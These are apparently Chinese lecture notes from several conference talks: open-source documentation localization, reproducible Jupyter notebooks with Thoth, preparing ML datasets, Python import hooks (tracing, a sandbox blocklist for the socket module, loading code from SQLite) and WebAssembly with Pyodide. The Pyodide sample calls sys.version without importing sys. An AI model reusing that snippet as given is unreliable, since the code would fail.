然而,本地化也带来挑战,主要是维护成本。这并非指高昂的财务开支,而是指项目维护者需要投入的关注和劳动。为了确保本地化的可持续性,必须选择明智的维护策略。
3️⃣:可持续本地化的关键策略
上一节我们讨论了本地化的利弊,本节中我们来看看如何构建一个可持续的本地化流程。
以下是基于 Kubernetes 经验总结出的关键策略,旨在最大化收益并最小化维护负担。
策略一:对内容来源保持“漠不关心”
在本地化内容以拉取请求(Pull Request)形式提交到代码库之前,不必关心其产生过程。允许每个本地化团队使用最适合自己的工具(如 Transifex、Crowdin 或机器翻译辅助)和工作流程。这种灵活性是可持续维护的关键,因为它避免了维护者需要精通所有工具,也使得流程具备“抗工具”性。
策略二:建立严格的审核流程
一旦本地化内容进入代码库,就必须非常关心其审核质量。
以下是良好的审核实践:
- 禁止自我批准:不允许贡献者批准自己的拉取请求。
- 要求审核:为所有本地化内容设置强制性的审核流程。
- 限制审核权限:审核者必须对其审核的内容具备母语或同等流利程度。
策略三:确立规范的源语言和分支
建立一个规范的源语言(如英语)和分支(如 main),作为所有本地化工作的基准。这确保了所有团队在相同的、已理解的内容源上工作,提高了效率。规范语言应与大多数贡献者的主要工作语言匹配。
策略四:定义最小可行文档集
识别并定义项目中最关键、用户最离不开的文档内容集合。这明确了本地化工作的优先范围和准入门槛,帮助团队集中精力,也使用户能快速获得最有价值的信息。
策略五:将通用功能脚本化
将本地化团队共有的任务自动化,例如跟踪协作分支间的差异或上游源文件的变更。
# 示例:一个用于检查上游变更的脚本概念
def check_upstream_changes(source_branch, localized_branch):
# 比较两个分支的差异
# 输出需要本地化的新内容或变更
pass
自动化可以提高效率,使维护更轻松,并支持团队以去中心化的方式自我协助。
策略六:选择支持国际化的工具
选择内置支持本地化(i18n)的静态网站生成器或内容管理系统,如 Hugo 或 Gatsby。这能大幅降低技术复杂度。同时,避免在代码中硬编码字符串,使用模板或局部内容(partials)来管理可翻译文本。
4️⃣:解决权限与信任问题
上一节我们介绍了实施策略,本节中我们来看看本地化工作中棘手的权限和信任问题。
本地化团队需要特定的仓库权限(如创建长期协作分支、修改根配置文件、更新局部内容)才能高效工作,但 Git 平台(如 GitHub/GitLab)的细粒度权限模型可能无法完美匹配这些需求。
这引出了信任决策。项目维护者可以选择:
- 低信任(监护式维护):由核心维护者严格管理所有分支和合并,难以扩展。
- 高信任(取证式维护):赋予本地化团队负责人相应权限,专注于事后纠正破坏性(而非恶意)行为。
建议:将本地化团队负责人视为与其他发布负责人同等信任的角色,并与之进行明确、坦诚的对话。务必用文档记录所有关于权限、期望和界限的约定,这是预防问题和建立健康合作文化的关键。
5️⃣:提升效率的实用技巧
上一节我们探讨了权限管理,本节中我们来看看一些能提升本地化工作流效率的具体技巧。
技巧一:使用语言标签过滤问题
为拉取请求应用按语言分类的标签(如 language/ko 代表韩语)。这能极大简化管理和审查工作。可以通过 GitHub Actions 等工具自动化此过程。
技巧二:启用预览构建
集成像 Netlify 这样的服务,为每个拉取请求自动生成网站的预览版本。这让审查者(无论是否懂该语言)都能直观地看到更改效果,加速审核流程。
技巧三:创建冒烟测试页面
建立一个包含所有文档语法和格式元素实例的单一测试页面。本地化团队可以在预览构建中访问此页面,快速验证其更改是否破坏了网站渲染功能。
技巧四:关于时机:提前规划还是按需建设?
两种方式都有效:在本地化需求出现前就搭建好框架,或者与首批本地化团队合作共同建设工具和流程。可根据项目资源灵活选择。
6️⃣:本地化值得吗?—— 数据说话
上一节我们介绍了一些实用技巧,本节中我们用一个具体案例来审视本地化的价值。
以 2022 年 3 月 Kubernetes 网站韩语内容为例:
- 贡献者:6 位贡献者维护了韩语内容。
- 流量:韩语内容吸引了约 2.1% 的网站访客。
- 规模:当月网站总访客为 140 万。2.1% 对应 30,123 位独立访客。
- 支持比例:平均每位贡献者在一个月内支持了超过 5000 名访客。
- 全局影响:当月全部本地化内容(非英语)吸引了近 一半 的网站总流量。
数据表明,本地化工作以相对较小的贡献者投入,服务了数量庞大的用户群体,并显著提升了项目的整体可访问性和采用率。此外,本地化团队往往也是上游问题的发现者、工具的共同开发者以及项目的坚定维护者。
总结
本节课中我们一起学习了为开源项目进行文档本地化的完整思路。我们从定义出发,明确了本地化超越单纯翻译的文化适配内涵。接着,我们分析了其吸引贡献、扩大影响的优势与面临的维护挑战。核心部分,我们深入探讨了实现可持续本地化的六大策略和四项提升效率的实用技巧,并着重解决了权限与信任这一关键问题。最后,通过真实数据,我们确信本地化能极大地提升项目的可访问性和影响力,其回报远超投入。记住,本地化不仅是为了扩大用户群,更是为了敞开大门,欢迎来自世界各地的新成员加入你的项目社区。

资源链接:
082:如何制作独立且可重复的 Python Jupyter Notebook


在本教程中,我们将学习如何让你的 Python Jupyter Notebook 变得独立且可重复,确保其他用户能够轻松复制你的实验环境。我们将介绍一个名为 tots 的工具及其扩展,它们能帮助你管理依赖、锁定版本,并提升 Notebook 的可维护性与分享便利性。
演讲者介绍
演讲者是 Maya Costantini,她是红帽公司的一名软件工程师,热爱 Python 和开源。
Jupyter Notebook 简介
Jupyter Notebook 是一个开源的、基于网页的应用程序。它允许你进行迭代实验,并创建包含实时代码、方程式、图像、图表等内容的文档。Jupyter Notebook 支持超过 40 种编程语言,并能提供丰富且互动的输出,便于利用大数据和数据探索工具。
在 Python 社区中,Jupyter Notebook 非常受欢迎。数据科学家用它进行可视化、数据建模、数据分析和机器学习模型开发。学术界和 Python 开发者则将其用于快速原型制作和概念验证。
Jupyter Notebook 面临的问题
上一节我们介绍了 Jupyter Notebook 的基本概念,本节中我们来看看它存在哪些问题。
为了理解这些问题,我们来看一个例子。假设你是一名数据科学家,想创建一个计算机视觉应用,需要在 Notebook 中安装 OpenCV 库。你可能会运行以下命令:
pip install opencv-python
opencv-python 是你的应用的直接依赖项。这个直接依赖项又会引入其他依赖项,例如 numpy,这被称为传递依赖项。
然而,这里有几个关键问题被忽略了:
- 版本问题:软件包频繁更新。如果不指定版本,一个月后再次安装可能会得到不同的版本,导致代码行为不一致。
- 哈希值问题:哈希值用于确保软件包来源可信。指定哈希可以保证用户从与你相同的可信来源安装包,提升安全性。
- Python 解释器版本问题:Notebook 代码可能与特定的 Python 版本绑定。如果开发环境和使用环境的 Python 版本不同,可能导致运行失败。
实际上,一个 Python 应用由多个层次构成,每一层都可能破坏代码的稳定性:
- 最上层:你的应用代码(可控)。
- 之下:Python 直接依赖项、传递依赖项、Python 解释器。
- 更底层:原生依赖项(如 C 库)、操作系统、内核模块、硬件(CPU/GPU)。
因此,仅使用简单的 pip install 命令无法保证 Notebook 的可重复性。即使使用 requirements.txt 文件,如果其中没有包含确切的版本和哈希信息,同样无法保证环境的一致性。
总结来说,Jupyter Notebook 默认不是独立的。与他人共享 Notebook 时,它会在不同机器、不同依赖版本、不同 Python 解释器下运行,这带来了诸多挑战:
- 对于 Notebook 的作者/开发者:需要维护一个清单文件(如
requirements.txt),并确保其随时更新。 - 对于 Notebook 的使用者/消费者:需要手动创建虚拟环境、安装依赖、创建内核,并在依赖更新时重复此过程,步骤繁琐且容易出错。
我们需要的解决方案是:让作者能轻松维护依赖和清单文件,从而实现 Notebook 的可重复性。
解决方案:Tots 项目介绍
上一节我们分析了问题所在,本节中我们来看看解决方案:tots 项目。
tots 是一个旨在帮助开发者和数据科学家创建并维护健康 Python 应用程序的项目。它于 2018 年在红帽首席技术官办公室启动,目前由一个团队维护,拥有众多贡献者。
tots 的核心是一个基于云的 Python 应用推荐引擎。它使用机器学习,通过最佳版本解决依赖关系。tots 是开源项目,欢迎社区贡献。
tots 为 Jupyter Notebook 提供了一个扩展,名为 JupyterLab Requirements。这个扩展允许你直接在 Notebook 界面内管理依赖,无需离开当前环境,并将所有必要的依赖信息直接存储在 Notebook 的元数据中。它利用 tots 的解析器,为每个 Notebook 提供独特的优化环境。
使用 JupyterLab Requirements 扩展
以下是使用 JupyterLab Requirements 扩展管理依赖的步骤:
- 启用扩展:在 JupyterLab 中,你会看到一个“管理依赖”的按钮。
- 添加依赖:点击按钮,在弹出菜单中,你可以添加包并指定版本约束。例如,可以指定
tensorflow==2.2.0和numpy>=1.0.0。 - 选择解析器:你可以选择使用
tots解析器或pip作为备选。还可以选择tots的推荐类型(如“最新版本”、“最安全”等)。 - 指定环境信息:扩展会自动填充环境信息(如 Python 版本、操作系统),你也可以手动修改。
- 获取建议并锁定依赖:点击解析,
tots服务会在云端计算出一个完全锁定的软件栈(包括所有直接和传递依赖及其哈希值),这个过程通常只需几秒到几分钟。 - 安装依赖并创建内核:扩展会使用
micropipenv工具在虚拟环境中安装锁定的依赖,并创建一个新的 Jupyter 内核。 - 开始工作:点击开始,即可在准备好的环境中使用 Notebook。
所有依赖信息,包括版本和哈希,都会直接保存在 Notebook 文件的元数据(一个 JSON 结构)中。这意味着 Notebook 本身成为了一个包含完整环境定义的独立单元。
此外,你还可以在 Notebook 单元格中使用 Thoth Magic 命令 来执行相关操作,例如锁定依赖、检查元数据、将 pip 命令转换为可复现的 Thoth 命令等。
安装与使用:
要安装此扩展,请运行:
pip install jupyterlab-requirements
安装后,运行 jupyter lab 命令即可在本地启用带有此扩展的 JupyterLab。
容器化 Jupyter Notebook
除了在本地 JupyterLab 中管理依赖,tots 还能帮助管理容器化 Jupyter Notebook 中的依赖,这通过 Source-to-Image 工具实现。
Source-to-Image 能将应用程序源代码注入到基础容器镜像中,构建出新的、可重复的镜像。tots 提供了专门的基础镜像,可以在 OpenShift 等 Kubernetes 平台上构建包含 tots 推荐依赖的最小化 Jupyter Notebook 容器镜像。
Tots 推荐机制解析
上一节我们了解了如何使用工具,本节中我们深入了解一下 tots 的推荐是如何计算出来的。
tots 推荐的核心组件是解析器。其背后的哲学是:推荐最合适的版本,而非仅仅是最新的版本。
传统的解析器(如 pip 使用的)使用回溯算法,倾向于解析到尽可能新的版本。而 tots 解析器在云端使用强化学习来解决依赖问题,它提供了五种可配置的推荐类型来满足不同需求:
- 最新版本:尽可能获取最新版本。
- 安全:推荐没有已知安全漏洞(CVE)的版本,适用于生产环境。
- 性能:根据用户硬件和软件环境,推荐能最大化应用性能的版本(通过库版本的基准测试得出)。
- 稳定:推荐最稳定的包版本。
- 测试:适用于实验场景,解析规则可能更宽松。
用户将依赖约束、推荐类型和环境信息发送给 tots 的 Advisor 组件。Advisor 利用一个知识图谱(包含包信息、性能基准、安全数据、ABI 兼容性等)和由可定制管道单元组成的解决方案管道,计算出最优的、完全锁定的软件栈,并将其返回给用户。
贡献知识:创建处方
tots 的解析能力部分来源于社区贡献的处方。处方是可配置管道单元的声明性 YAML 文件,它将开发者关于依赖关系的知识(如兼容性问题)形式化,供解析器自动使用。
例如,如果发现 pillow 8.3 与 numpy 不兼容,开发者可以创建一个处方文件,指明这两个包在特定版本下不兼容,并附上问题链接。这样,当其他用户遇到类似组合时,tots 解析器就能避免推荐这个有问题的版本组合,并给出警告。
处方存储在开源仓库中,任何开发者都可以基于自己的经验贡献处方,共同改进 tots 的解析质量。此外,许多处方是自动生成的,数据来源于 PyPI、GitHub 仓库、安全数据集等。
总结
在本教程中,我们一起学习了如何让 Python Jupyter Notebook 变得独立且可重复。
我们首先指出了传统方式管理 Notebook 依赖时在版本、哈希和解释器兼容性方面的问题。接着,我们介绍了 tots 项目及其 JupyterLab Requirements 扩展,它允许你将依赖、版本和哈希信息直接嵌入 Notebook 元数据,并通过云端智能解析获取最优软件栈。
我们还了解了如何使用 Magic 命令、如何容器化 Notebook,以及 tots 推荐机制背后的原理和社区贡献处方的方式。

通过使用 tots 管理依赖,你的 Jupyter Notebook 将能以一致、可靠的方式被分享和复现,成为一个真正的独立工作单元,同时你的应用也能获得符合其目的的最佳软件栈。
083:为机器学习模型雕刻数据


在本节课中,我们将学习如何为机器学习模型准备和构建高质量的数据集。数据是机器学习成功的基石,我们将探讨从定义问题、寻找数据源到数据清洗、集成和特征工程的全过程。
概述:数据在机器学习中的核心地位
机器学习在过去几年中经历了巨大增长,广泛应用于购物推荐、自动驾驶、医疗保健等多个领域。它是目前使用最广泛的人工智能子领域。
为了让最先进的机器学习算法发挥其魔力,需要关注三个关键维度:经过良好校准的数据、复杂的算法和高效的计算。机器学习算法通过从提供的数据中捕获隐含信息来进行训练。特别是深度学习等算法,它们参数众多,需要大量数据来训练出具有良好泛化能力的模型。
因此,拥有大量数据是构建良好训练集的关键。然而,数据的质量与数量同等重要。正如一句名言所说:“垃圾进,垃圾出。”机器学习模型的好坏本质上取决于你所拥有的数据。数据科学家彼得·诺维格指出:更多的数据胜过聪明的算法,但更好的数据胜过更多的数据。
数据需求金字塔 🏛️
著名数据科学家莫尼卡·罗加蒂提出了与马斯洛需求层次理论平行的“AI/ML需求金字塔”。她指出,可靠的数据收集构成了金字塔的基础。数据素养、数据收集和数据流动这些基本需求必须首先得到满足,才能实现人工智能的目标,即达成“自我实现”或“涅槃”。
学术与工业界的数据挑战
- 学术界:核心机器学习研究团队更注重算法的新颖性和领域的推进。他们面临的挑战包括在没有内部数据的情况下寻找相关的外部数据源,这与能访问海量数据的企业巨头(如Facebook、Google)不同。
- 工业界:成熟的组织在获取计算能力、聘用专家或访问相关数据方面障碍较小。然而,他们的挑战在于将解决方案扩展到庞大的用户基础。对于任何拥有大量非结构化数据(如原始日志)的组织来说,构建稳健的数据处理管道仍然是一项艰巨的任务。
创建稳健的管道不仅需要技术,还需要从海量非结构化数据中识别和策划有意义、无偏见的数据集的技能。
案例研究:三个公开数据集
在深入探讨方法之前,我们先介绍三个我们自己收集并在Kaggle上公开的数据集,作为具体实例:
- 服装合身度数据集:来自电子商务网站ModCloth。包含用户ID、产品ID、合身度反馈、购买尺码、评分、评论以及部分客户身体测量数据。目标是解决产品尺码推荐问题。
- 讽刺检测数据集:从两个新闻网站收集:《洋葱报》(讽刺新闻)和《赫芬顿邮报》(真实新闻)。与以往从Twitter等嘈杂来源获取的数据相比,这个数据集在标签和语言质量上更高。
- 新闻类别数据集:从《赫芬顿邮报》提取的真实新闻文章。包含标题、预览文本、类别标签、作者和发布日期等信息,可用于多类别文本分类等任务。
构建高质量数据集的方法
构建高质量数据集通常面临两种情境,我们将分别讨论。
情境一:有指导的搜索(心中有问题)
当你心中有一个具体的机器学习问题需要解决时,应采用有指导的搜索方法。以下是关键步骤:
第一步:正式定义问题
清晰、正式地定义问题,识别所有涉及的变量。例如,对于尺码推荐问题,可以定义为:给定一个用户和一个具有多种可选尺码的产品,推荐一个最可能合身的尺码。这明确了需要用户ID、产品ID、购买尺码和合身反馈等数据。
第二步:识别核心数据信号
基于问题定义,列出解决问题所必需的基本数据信号。对于尺码推荐,核心信号就是上述变量。其他如产品类别、价格等数据可能有帮助,但非必需。
第三步:评估数据量
确保选择的数据源能提供足够数量的实例。例如,如果一个网站的产品评价数量很少,它可能不适合构建健壮的数据集,因为模型可能无法从中学习到有效的模式。
情境二:无指导的搜索(心中无具体问题)
当你没有具体问题,但希望为社区贡献一个数据集或进行探索性研究时,可采用无指导的搜索方法。这种方法更具不确定性,但以下指引可以提供一些结构:
第一步:评估潜在价值
考虑你计划收集的数据是否有可能解决实际问题或产生有价值的洞察。以新闻类别数据集为例,它可以用于训练分类器来识别新闻的写作风格或自动标记文章类别。
第二步:确保元数据充足
拥有丰富的元数据(如作者、发布日期、标签)有助于机器学习模型在不同属性间建立关联,从而做出更好的预测。例如,仅凭用户ID和产品ID预测价格很困难,但加入品牌、面料等信息后,预测会更有意义。
第三步:灵活调整问题
由于没有预设问题,可以根据最终收集到的数据量和特点来调整或定义要解决的问题。例如,如果某些新闻类别的文章数量很少,我们可以选择不将其作为预测目标,或专注于数据量充足的类别。
第四步:避免重复工作
在开始收集数据前,务必检查是否已有类似的数据集公开可用。我们的目标应该是填补空白或改进现有数据集的不足,而不是重复劳动。
上一节我们介绍了如何寻找和规划数据源。在成功收集到原始数据后,下一步是对其进行“雕琢”,使其适合机器学习模型使用。本节中我们来看看数据准备的关键技术。
数据准备与增强技术 🛠️
1. 数据修剪
以服装合身度数据集为例,原始交易数据可能包含缺失关键信号(如合身反馈)的记录。数据修剪就是清理数据集,去除那些对预测目标没有贡献的噪声记录。需要注意的是,修剪后仍需保证数据量足够大,以支持模型训练。
2. 数据集成
很多时候,我们需要合并来自不同来源的数据,以构建更全面、更有用的数据集。主要有两种方式:
- 垂直集成:合并拥有相同属性(列)但不同实例(行)的数据源。例如,将来自《洋葱报》和《赫芬顿邮报》的文章合并成讽刺检测数据集。
- 横向集成:合并拥有不同属性但共享同一关键标识符(如城市ID)的数据源。例如,从一个来源获取城市的人口数据,从另一个来源获取城市的节日数据,然后通过城市ID进行合并。
3. 数据转换
网络数据往往格式不一,充满噪声。数据转换旨在将原始值清洗并转化为统一、一致的格式。常见操作包括:
- 处理特殊字符和拼写错误。
- 将尺码描述(如“S”,“M”,“L”)编码为有序数字。
- 统一日期格式(如将“MM/DD/YYYY”转换为“YYYY-MM-DD”)。
- 纠正语言和逻辑上的不一致。
特征工程:从数据到燃料 ⛽
如果将数据比作原油,那么特征就是驱动机器学习模型的燃料。特征工程是应用机器学习中至关重要却常被低估的一环。
特征工程是指利用领域知识从原始数据中提取、构建对机器学习算法更有效的特征的过程。其核心在于选择格式正确、信息量丰富的特征。
良好的特征工程能带来巨大收益:
- 提升模型性能:合适的特征甚至可以让简单的模型(如线性回归)表现优异。
- 提高模型可解释性:特征更少、更直观的模型更容易理解和解释。
- 降低复杂度:减少对复杂集成模型、大量超参数调优的依赖。
直觉、领域知识和反复试验在特征工程中发挥着关键作用。正如机器学习专家Andrew Ng所倡导的“以数据为中心的人工智能”运动所言:多年来我们过于关注模型代码(如设计更复杂的网络架构),而现在应该将更多精力投入到数据本身——如何丰富数据、创造更有信息的特征,从而从根本上提升模型性能。
总结与典型工作流程
本节课我们一起学习了为机器学习模型准备数据的完整流程。其核心思想是:高质量的数据是机器学习成功的先决条件。

一个典型的机器学习工作流程如下:
- 定义问题陈述。
- 形成机器学习解决方案的直觉。
- 获取数据。
- 处理数据(清洗、集成、转换)。
- 定义成功指标。
- 选择并训练模型。
- 部署并监控模型。
人们常常过于关注第5步(指标)和第6步(模型选择),而忽略了第3步(获取)和第4步(处理)中的数据工作。然而,卓越的数据获取和特征工程往往能将模型性能提升一个数量级,这属于“应用机器学习”的艺术,值得每一位实践者深入钻研。

(注:演讲者提到合著书籍《机器学习数据处理》,其中详细介绍了使用Python、Selenium等工具从网络收集数据、预处理及特征工程的实践方法。)
084:接入导入系统 🐍

在本节课中,我们将学习Python的导入系统,并了解如何通过自定义导入钩子来解决实际问题。我们将从导入系统的基本原理开始,逐步深入到如何实现自定义的查找器和加载器,例如创建模块阻止列表或从数据库加载代码。

导入系统概述
Python的导入过程主要分为两个步骤:查找和加载。查找负责定位模块的源代码,加载则负责执行代码并将其变为可用的模块对象。
标准导入机制
默认情况下,Python提供了三种查找器:
- 内置导入器:用于查找像
os或sys这样的内置模块。 - 冻结导入器:用于引导解释器自身的导入过程。
- 路径查找器:这是最常用的查找器,负责在文件系统路径中查找
.py文件。
查找器列表存储在sys.meta_path中。当执行import语句时,Python会按顺序遍历这个列表,调用每个查找器的find_spec方法,直到有一个返回模块规格(ModuleSpec)。如果所有查找器都返回None,则会引发ModuleNotFoundError。
找到模块规格后,加载过程开始。这包括:
- 创建模块:根据规格创建一个空的模块对象。
- 执行模块:执行模块中的代码,将其内容填充到模块对象的命名空间(
__dict__)中。
加载后的模块会被缓存到sys.modules字典中,后续的导入会直接从这里获取,避免重复加载。
自定义导入钩子
Python允许我们通过实现自己的查找器和加载器来介入导入过程,从而实现特殊功能。
示例一:跟踪查找器
首先,我们来看一个简单的自定义查找器,它会在每次导入发生时打印日志。
以下是实现一个跟踪查找器的步骤:
- 定义查找器类:继承自
importlib.abc.MetaPathFinder。 - 实现
find_spec方法:该方法接收模块名、路径等参数。在此方法中打印日志,并返回None以表示不处理此模块,让其他查找器继续。 - 插入查找器:将自定义查找器插入到
sys.meta_path列表的开头,以确保它最先被调用。
import sys
import importlib.abc
class TracingFinder(importlib.abc.MetaPathFinder):
def find_spec(self, fullname, path=None, target=None):
print(f"查找器正在尝试导入: {fullname}, 路径: {path}")
return None # 不处理,交由其他查找器
# 将自定义查找器插入到查找器列表的最前面
sys.meta_path.insert(0, TracingFinder())
# 现在执行任何导入都会触发打印
import datetime
print(datetime.datetime.now())
运行上述代码,你会看到在导入datetime及其内部依赖(如math)时,控制台会输出相应的查找日志。
示例二:模块阻止列表
在实际开发中,我们可能希望限制某些模块的导入,例如在沙箱环境中。这可以通过自定义查找器来实现。
以下是实现模块阻止列表的步骤:
- 定义阻止列表查找器:同样继承自
importlib.abc.MetaPathFinder。 - 初始化阻止列表:在
__init__方法中接收一个被阻止的模块名列表。 - 在
find_spec中检查:如果请求导入的模块在被阻止列表中,则直接抛出ImportError;否则返回None。
import sys
import importlib.abc
class BlocklistFinder(importlib.abc.MetaPathFinder):
def __init__(self, blocklist):
self.blocklist = blocklist
def find_spec(self, fullname, path=None, target=None):
if fullname in self.blocklist:
raise ImportError(f"导入被阻止: {fullname}")
return None
# 阻止导入`socket`模块
sys.meta_path.insert(0, BlocklistFinder(['socket']))
# 尝试导入被阻止的模块会报错
try:
import socket
except ImportError as e:
print(e)
# 导入其他模块(即使它内部尝试导入socket)也会被阻止
try:
import http.server # http.server 内部会导入 socket
except ImportError as e:
print(e)
示例三:从数据库加载模块
更高级的用法是实现一个从数据库(而非文件系统)加载Python代码的导入钩子。这需要同时实现查找器和加载器。
上一节我们介绍了如何阻止模块导入,本节中我们来看看如何从非文件源加载模块。
以下是核心实现步骤:
- 定义数据库加载器:继承自
importlib.abc.Loader,需要实现create_module和exec_module方法。create_module:根据规格创建模块对象,如果是包则设置__path__。exec_module:从数据库查询代码,并使用exec()函数执行,将结果填充到模块的命名空间。
- 定义数据库查找器:继承自
importlib.abc.MetaPathFinder。其find_spec方法会询问关联的加载器是否能提供指定模块,如果能,则使用importlib.util.spec_from_loader创建模块规格。 - 连接数据库:在示例中我们使用SQLite内存数据库来模拟。
以下是关键代码片段:
import sys
import sqlite3
import importlib.abc
import importlib.util
class DBLoader(importlib.abc.Loader):
def __init__(self, package_name, db_conn):
self.package_name = package_name
self.db = db_conn
def create_module(self, spec):
# 创建一个新的空模块
module = importlib.util.module_from_spec(spec)
# 如果导入的是包本身(不是子模块),将其标记为包
if spec.name == self.package_name:
module.__path__ = []
return module
def exec_module(self, module):
# 如果是包本身,不执行代码
if module.__name__ == self.package_name:
return
# 从数据库查询代码
cursor = self.db.cursor()
cursor.execute("SELECT code FROM modules WHERE name = ?", (module.__name__,))
row = cursor.fetchone()
if row:
code = row[0]
# 执行代码,将其加载到模块的命名空间中
exec(code, module.__dict__)
def provides(self, fullname):
# 检查数据库是否提供此模块
cursor = self.db.cursor()
cursor.execute("SELECT 1 FROM modules WHERE name = ?", (fullname,))
return cursor.fetchone() is not None
class DBFinder(importlib.abc.MetaPathFinder):
def __init__(self, loader):
self.loader = loader
def find_spec(self, fullname, path=None, target=None):
if self.loader.provides(fullname):
# 创建模块规格,并指定使用我们的加载器
return importlib.util.spec_from_loader(fullname, self.loader)
return None
# 使用示例
if __name__ == "__main__":
# 1. 创建内存数据库并插入模块代码
conn = sqlite3.connect(":memory:")
conn.execute("CREATE TABLE modules (name TEXT, code TEXT)")
module_code = """
def fn(x):
return x * 2
"""
conn.execute("INSERT INTO modules VALUES (?, ?)", ("mypackage.mymodule", module_code))
conn.commit()
# 2. 创建加载器和查找器,并插入到导入路径
loader = DBLoader("mypackage", conn)
finder = DBFinder(loader)
sys.meta_path.insert(0, finder)
# 3. 现在可以像普通模块一样导入
from mypackage.mymodule import fn
print(fn(21)) # 输出: 42
print(fn(0.5)) # 输出: 1.0
# 4. 尝试导入不存在的模块会报错
try:
import mypackage.nonexistent
except ModuleNotFoundError as e:
print(e)
这种机制可以用于实现快速的代码部署(只需更新数据库记录),或者管理代码的多版本共存。
总结

本节课中我们一起学习了Python导入系统的核心机制:查找与加载。我们探讨了如何通过实现自定义的MetaPathFinder和Loader来介入这个过程,并演示了三个实用案例:
- 跟踪导入:用于调试和日志记录。
- 模块阻止列表:用于在沙箱环境中限制模块导入。
- 从数据库加载模块:实现了一种灵活、快速的代码部署和管理方案。
Python的导入系统非常强大且可扩展,理解它可以帮助你构建更动态、更灵活的应用程序。所有示例代码均可在 github.com/fofillips/import-hooks 找到。
085:教程概述




在本教程中,我们将学习 WebAssembly 的基础知识。WebAssembly 是一种高性能的虚拟机二进制指令格式,旨在实现客户端和服务器端应用程序。我们将从概述开始,然后通过 Pyodide 在浏览器中运行 Python,接着手动编写 WebAssembly 代码,最后编写一个简单的编译器来生成 WebAssembly。
1:什么是 WebAssembly?🚀
WebAssembly 是一种虚拟机的二进制指令格式,被称为基于栈的虚拟机。它是一种指令集,类似于 x86、ARM 或 Java 虚拟机的指令集。WebAssembly 被设计为一种可移植的编译器目标语言,用于实现高性能的应用程序。
WebAssembly 的主要特点包括:
- 安全性:使用与 JavaScript 相同的沙箱环境。
- 可移植性:可在 Web 浏览器和各种设备上运行。
- 高性能:为计算密集型任务设计,运行速度接近本地代码。
- 开放标准:由 W3C 维护,是开放网络的第四种语言。
需要注意的是,WebAssembly 并非 JavaScript 的替代品,而是互补技术。它目前主要支持数值类型(整数和浮点数),没有内置的垃圾回收机制,也不能直接访问文档对象模型。
2:准备工作与环境设置 🛠️


上一节我们介绍了 WebAssembly 的基本概念,本节中我们来看看如何设置我们的开发环境。

我们将使用 Gitpod 在线开发环境。请确保你拥有一个 GitHub 账户。


以下是环境设置步骤:
- 点击教程笔记中的链接,打开 Gitpod 工作区。
- 工作区基于 Visual Studio Code,你可以根据需要调整主题和字体大小。
- 使用
Ctrl+J(Windows/Linux)或Cmd+J(Mac)打开终端。 - 每次打开新终端时,需要执行
source PyCon2022命令来设置环境变量。 - 环境中已预装 Python、WebAssembly 工具包(如
wat2wasm)、Wasm3 解释器和 Wasmer for Python。

关于 Gitpod 的注意事项:
- 免费开源计划每月提供 50 小时使用时间。
- 工作区在 30 分钟不活动后会自动停止。
- 建议在 Gitpod 仪表板中“固定”重要的工作区,以防被自动删除。
3:使用 Pyodide 在浏览器中运行 Python 🐍

上一节我们完成了环境设置,本节中我们来看看如何利用 Pyodide 技术在浏览器中直接运行 Python。
Pyodide 是通过 Emscripten 将 CPython 编译为 WebAssembly 的产物。它允许我们在浏览器中运行标准的 Python 代码及其科学计算库(如 NumPy)。

3.1:第一个 Pyodide 示例
以下是一个简单的示例,演示如何将 Python 函数集成到网页中。
我们有一个 Python 文件 some_python_code.py,其中包含几个函数:
# some_python_code.py
import random
from datetime import datetime
def get_version():
return f"Python {sys.version}"
def get_date_and_time():
now = datetime.utcnow()
return now.isoformat()
def get_quote():
quotes = ["Hello, World!", "WebAssembly is cool!", "Python in the browser!"]
return random.choice(quotes)
对应的 HTML 文件 index.html 通过 JavaScript 加载 Pyodide 并调用这些 Python 函数:
<!-- index.html 部分代码 -->
<script type="module">
import { loadPyodide } from 'https://cdn.jsdelivr.net/pyodide/v0.21.3/full/pyodide.js';
async function main() {
let pyodide = await loadPyodide();
await pyodide.loadPackage("micropip");
// 加载并运行我们的 Python 代码
await pyodide.runPythonAsync(await (await fetch('some_python_code.py')).text());
// 调用 Python 函数并更新 DOM
document.getElementById('version').innerHTML = pyodide.globals.get('get_version')();
document.getElementById('datetime').innerHTML = pyodide.globals.get('get_date_and_time')();
document.getElementById('quote').innerHTML = pyodide.globals.get('get_quote')();
}
main();
</script>
要运行此示例,请在 pyodide 目录下启动一个 HTTP 服务器:
python -m http.server 8080
然后在浏览器中访问相应的地址。
3.2:练习 A - 修改 Python 函数
以下是需要完成的练习内容。
请修改 some_python_code.py 文件中的 get_date_and_time 函数。在返回结果前,根据今天是否是您的生日,将结果与不同的祝福字符串连接。
- 如果是生日,连接
" Happy Birthday!"。 - 如果不是生日,连接
" Have a very happy birthday!"。
提示:datetime 对象有 .day 和 .month 属性。修改后,在本地使用 Python 解释器测试,然后在浏览器中刷新页面查看效果。

4:手动编写 WebAssembly ✍️
上一节我们使用了高级工具,本节中我们来看看 WebAssembly 的底层细节,并尝试手动编写代码。
WebAssembly 有两种表示形式:
- Wasm:二进制格式(
.wasm)。 - Wat:文本格式(
.wat),使用 S-表达式。
WebAssembly 是一种基于栈的虚拟机。所有操作都通过向栈中压入(push)和弹出(pop)值来完成。它主要支持四种数据类型:i32、i64、f32、f64。
4.1:栈机器工作原理
栈是一种后进先出(LIFO)的数据结构。执行运算 7 + 5 的步骤如下:
- 将
7压入栈。 - 将
5压入栈。 - 执行
i32.add指令:弹出栈顶的两个值(5和7),计算7 + 5,然后将结果12压回栈顶。

4.2:第一个 Wat 程序
让我们查看一个计算两个数平均值的 Wat 程序示例 examples.wat:
;; examples.wat
(module
(func $avg2 (param $a f64) (param $b f64) (result f64)
local.get $a
local.get $b
f64.add
f64.const 2
f64.div)
(export "avg2" (func $avg2))
)
(module ...)定义一个模块。(func ...)定义一个函数。$avg2是局部名称,(param ...)定义参数和类型,(result ...)定义返回值类型。local.get $a将参数$a的值压入栈。f64.add弹出栈顶两个值相加,结果压栈。f64.const 2将常量2压栈。f64.div弹出栈顶两个值相除((a+b)/2),结果压栈。(export ...)将函数$avg2以名称"avg2"导出,供外部调用。
4.3:编译与运行 Wat
我们需要将文本格式(.wat)编译为二进制格式(.wasm),然后才能执行。

切换到 wat 目录,执行以下命令:
# 1. 将 Wat 编译为 Wasm
wat2wasm examples.wat -o examples.wasm
# 2. 使用 Wasm3 解释器运行
wasm3 --repl examples.wasm
在 Wasm3 的 REPL 中,调用导出的函数:
wasm3> avg2 5 10
7.5


4.4:练习 B - 编写 avg3 函数

以下是需要完成的练习内容。
